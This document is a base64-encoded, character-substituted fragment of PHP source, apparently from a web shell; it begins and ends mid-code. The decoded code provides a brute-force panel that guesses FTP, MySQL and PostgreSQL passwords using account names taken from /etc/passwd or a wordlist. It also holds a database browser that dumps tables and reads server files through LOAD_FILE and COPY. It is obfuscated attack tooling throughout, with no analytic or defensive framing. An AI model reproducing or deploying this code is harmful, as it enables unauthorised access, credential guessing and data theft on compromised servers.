PjwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkJyM3Q1ZjJyYzUoKSB7DQoJd3MySDUxZDVyKCk7DQoJNGYoIDRzczV0KCRfUE9TVFsncHIydDInXSkgKSB7DQoJCTVjaDIgJzxoNj5SNXMzbHRzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+VHlwNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3ByMnQyJ10pLicgPHNwMW4+UzVydjVyOjwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCgkJNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsNCgkJCWYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCgkJCQk0ZighJGZwKSByNXQzcm4gZjFsczU7DQoJCQkJJHI1cyA9IEBmdHBfbDJnNG4oJGZwLCAkbDJnNG4sICRwMXNzKTsNCgkJCQlAZnRwX2NsMnM1KCRmcCk7DQoJCQkJcjV0M3JuICRyNXM7DQoJCQl9DQoJCX0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCgkJCWYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRyNXMgPSBAbXlzcWxfYzJubjVjdCgkNHAuJzonLiRwMnJ0PyRwMnJ0Om9vMGUsICRsMmc0biwgJHAxc3MpOw0KCQkJCUBteXNxbF9jbDJzNSgkcjVzKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAncGdzcWwnICkgew0KCQkJZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQoJCQkJJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT1wMnN0Z3I1cyI7DQoJCQkJJHI1cyA9IEBwZ19jMm5uNWN0KCRzdHIpOw0KCQkJCUBwZ19jbDJzNSgkcjVzKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfQ0KCQkkczNjYzVzcyA9IDA7DQoJCSQxdHQ1bXB0cyA9IDA7DQoJCSRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7DQoJCTRmKCRfUE9TVFsndHlwNSddID09IDYpIHsNCgkJCSR0NW1wID0gQGY0bDUoJy81dGMvcDFzc3dkJyk7DQoJCQk0ZiggNHNfMXJyMXkoJHQ1bXApICkNCgkJCQlmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQoJCQkJCSRsNG41ID0gNXhwbDJkNSgiOiIsICRsNG41KTsNCgkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCTRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJGw0bjVbMF0pICkgew0KCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJNGYoQCRfUE9TVFsncjV2NXJzNSddKSB7DQoJCQkJCQkkdG1wID0gIiI7DQoJCQkJCQlmMnIoJDQ9c3RybDVuKCRsNG41WzBdKS02OyAkND49MDsgLS0kNCkNCgkJCQkJCQkkdG1wIC49ICRsNG41WzBdWyQ0XTsNCgkJCQkJCSsrJDF0dDVtcHRzOw0KCQkJCQkJNGYoIGJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkdG1wKSApIHsNCgkJCQkJCQkkczNjYzVzcysrOw0KCQkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQl9IDVsczU0ZigkX1BPU1RbJ3R5cDUnXSA9PSBhKSB7DQoJCQkkdDVtcCA9IEBmNGw1KCRfUE9TVFsnZDRjdCddKTsNCgkJCTRmKCA0c18xcnIxeSgkdDVtcCkgKQ0KCQkJCWYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCgkJCQkJJGw0bjUgPSB0cjRtKCRsNG41KTsNCgkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCTRmKCBicjN0NUYycmM1KCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRfUE9TVFsnbDJnNG4nXSwgJGw0bjUpICkgew0KCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQl9DQoJCTVjaDIgIjxzcDFuPkF0dDVtcHRzOjwvc3Axbj4gJDF0dDVtcHRzIDxzcDFuPlMzY2M1c3M6PC9zcDFuPiAkczNjYzVzczwvZDR2Pjxicj4iOw0KCX0NCgk1Y2gyICc8aDY+RlRQIGJyM3Q1ZjJyYzU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48dDFibDU+PGYycm0gbTV0aDJkPXAyc3Q+PHRyPjx0ZD48c3Axbj5UeXA1PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48czVsNWN0IG4xbTU9cHIydDI+PDJwdDQybiB2MWwzNT1mdHA+RlRQPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1teXNxbD5NeVNRTDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9cGdzcWw+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+PC90cj48dHI+PHRkPicNCgkJLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQoJCS4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnMSddKS4nIj4nDQoJCS4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnY2gxcnM1dCddKS4nIj4nDQoJCS4nPHNwMW4+UzVydjVyOnAycnQ8L3NwMW4+PC90ZD4nDQoJCS4nPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zNXJ2NXIgdjFsMzU9IjZhNy4wLjAuNiI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcDFuPkJyM3Q1IHR5cDU8L3NwMW4+PC90ZD4nDQoJCS4nPHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9IjYiIGNoNWNrNWQ+IC81dGMvcDFzc3dkPC9sMWI1bD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsIHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1yNXY1cnM1IHYxbDM1PTYgY2g1Y2s1ZD4gcjV2NXJzNSAobDJnNG4gLT4gbjRnMmwpPC9sMWI1bD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsPjw0bnAzdCB0eXA1PXIxZDQyIG4xbTU9dHlwNSB2MWwzNT0iYSI+IEQ0Y3Q0Mm4xcnk8L2wxYjVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48dDFibDUgc3R5bDU9InAxZGQ0bmctbDVmdDo2aXB4Ij48dHI+PHRkPjxzcDFuPkwyZzRuPC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9bDJnNG4gdjFsMzU9InIyMnQiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Axbj5ENGN0NDJuMXJ5PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZDRjdCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Axc3N3ZC5kNGMiPjwvdGQ+PC90cj48L3QxYmw1PicNCgkJLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+JzsNCgk1Y2gyICc8L2Q0dj48YnI+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuU3FsKCkgew0KCWNsMXNzIERiQ2wxc3Mgew0KCQl2MXIgJHR5cDU7DQoJCXYxciAkbDRuazsNCgkJdjFyICRyNXM7DQoJCWYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpCXsNCgkJCSR0aDRzLT50eXA1ID0gJHR5cDU7DQoJCX0NCgkJZjNuY3Q0Mm4gYzJubjVjdCgkaDJzdCwgJDNzNXIsICRwMXNzLCAkZGJuMW01KXsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7DQoJCQkJCTRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQHBnX2Mybm41Y3QoImgyc3Q9eyRoMnN0WzBdfSBwMnJ0PXskaDJzdFs2XX0gM3M1cj0kM3M1ciBwMXNzdzJyZD0kcDFzcyBkYm4xbTU9JGRibjFtNSIpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1bDVjdGRiKCRkYikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBxMzVyeSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQHBnX3EzNXJ5KCR0aDRzLT5sNG5rLCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBmNXRjaCgpIHsNCgkJCSRyNXMgPSBmM25jX24zbV8xcmdzKCk/ZjNuY19nNXRfMXJnKDApOiR0aDRzLT5yNXM7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19mNXRjaF8xc3MyYygkcjVzKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdERicygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cTM1cnkoIlNIT1cgZDF0MWIxczVzIik7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiU0VMRUNUIGQxdG4xbTUgRlJPTSBwZ19kMXQxYjFzNSBXSEVSRSBkMXQ0c3Q1bXBsMXQ1IT0ndCciKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsNHN0VDFibDVzKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgdDFibDVfc2NoNW0xICE9ICc0bmYycm0xdDQybl9zY2g1bTEnIEFORCB0MWJsNV9zY2g1bTEgIT0gJ3BnX2MxdDFsMmcnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gNXJyMnIoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfbDFzdF81cnIycigpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1dENoMXJzNXQoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX3M1dF9jaDFyczV0JykpDQoJCQkJCQlyNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsNCgkJCQkJNWxzNQ0KCQkJCQkJJHRoNHMtPnEzNXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfczV0X2NsNDVudF81bmMyZDRuZygkdGg0cy0+bDRuaywgJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGwyMWRGNGw1KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5mNXRjaCgkdGg0cy0+cTM1cnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuMWRkc2wxc2g1cygkc3RyKS4iJykgMXMgZjRsNSIpKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgiQ1JFQVRFIFRBQkxFIHdzMmEoZjRsNSB0NXh0KTtDT1BZIHdzMmEgRlJPTSAnIi4xZGRzbDFzaDVzKCRzdHIpLiInO3M1bDVjdCBmNGw1IGZyMm0gd3MyYTsiKTsNCgkJCQkJJHI9MXJyMXkoKTsNCgkJCQkJd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpDQoJCQkJCQkkcltdID0gJDRbJ2Y0bDUnXTsNCgkJCQkJJHRoNHMtPnEzNXJ5KCdkcjJwIHQxYmw1IHdzMmEnKTsNCgkJCQkJcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZDNtcCgkdDFibDUsICRmcCA9IGYxbHM1KSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCSRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOw0KCQkJCQkkY3I1MXQ1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1cyk7DQoJCQkJCSRzcWwgPSAkY3I1MXQ1WzZdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSB0cjM1Ow0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQoJCQkJCQkkYzJsM21ucyA9IDFycjF5KCk7DQoJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfbjNtNXI0YygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLkBteXNxbF9yNTFsXzVzYzFwNV9zdHI0bmcoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRoNTFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuIikgVkFMVUVTIFxuXHQoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgNGYoISRoNTFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAiO1xuXG4iKTsgNWxzNSA1Y2gyKCI7XG5cbiIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCgkJCQkJCQkkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOw0KCQkJCQkJCSRjMmwzbW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgl9Ow0KCSRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCSRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKTsNCgkJJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsNCiAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJ2Y0bDUnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiB0NXh0L3BsMTRuIik7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQoJCQkJJGRiLT5kM21wKCR2KTsNCiAgICAgICAgICAgIDV4NHQ7DQogICAgICAgIH0gNWxzNTRmKCRmcCA9IEBmMnA1bigkX1BPU1RbJ2Y0bDUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgfSA1bHM1DQogICAgICAgICAgICBkNDUoJzxzY3I0cHQ+MWw1cnQoIkVycjJyISBDMW5cJ3QgMnA1biBmNGw1Iik7dzRuZDJ3Lmg0c3QycnkuYjFjaygtNik8L3NjcjRwdD4nKTsNCgl9DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAiDQo8aDY+TXlTUUwgQnIyd3M1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KPGYycm0gbjFtNT0nc2YnIG01dGgyZD0ncDJzdCcgMm5zM2JtNHQ9J2ZzKHRoNHMpOyc+PHQxYmw1IGM1bGxwMWRkNG5nPSdhJyBjNWxsc3AxYzRuZz0nMCc+PHRyPg0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9U1FMPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSdxMzVyeSc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGEgdjFsMzU9Jyc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuIic+DQo8dGQ+PHM1bDVjdCBuMW01PSd0eXA1Jz48MnB0NDJuIHYxbDM1PSdteXNxbCcgIjsNCiAgICA0ZihAJF9QT1NUWyd0eXA1J109PSdteXNxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPk15U1FMPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0ncGdzcWwnICI7DQo0ZihAJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPlAyc3RncjVTUUw8LzJwdDQybj48L3M1bDVjdD48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfaDJzdCB2MWwzNT0nIi4gKDVtcHR5KCRfUE9TVFsnc3FsX2gyc3QnXSk/J2wyYzFsaDJzdCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9oMnN0J10pKSAuIic+PC90ZD4NCjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2wyZzRuIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfbDJnNG4nXSk/J3IyMnQnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfbDJnNG4nXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfcDFzcyB2MWwzNT0nIi4gKDVtcHR5KCRfUE9TVFsnc3FsX3Axc3MnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9wMXNzJ10pKSAuIic+PC90ZD48dGQ+IjsNCgkkdG1wID0gIjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfYjFzNSB2MWwzNT0nJz4iOw0KCTRmKDRzczV0KCRfUE9TVFsnc3FsX2gyc3QnXSkpew0KCQk0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsNCgkJCXN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KCQkJCWMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KCQkJCWMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KCQkJCWMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCgkJCQljMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQoJCQl9DQoJCQkkZGItPmw0c3REYnMoKTsNCgkJCTVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7DQoJCQl3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgew0KCQkJCWw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KCQkJCTVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuJHYxbDM1LiciICcuKCR2MWwzNT09JF9QT1NUWydzcWxfYjFzNSddPydzNWw1Y3Q1ZCc6JycpLic+Jy4kdjFsMzUuJzwvMnB0NDJuPic7DQoJCQl9DQoJCQk1Y2gyICc8L3M1bDVjdD4nOw0KCQl9DQoJCTVsczUgNWNoMiAkdG1wOw0KCX01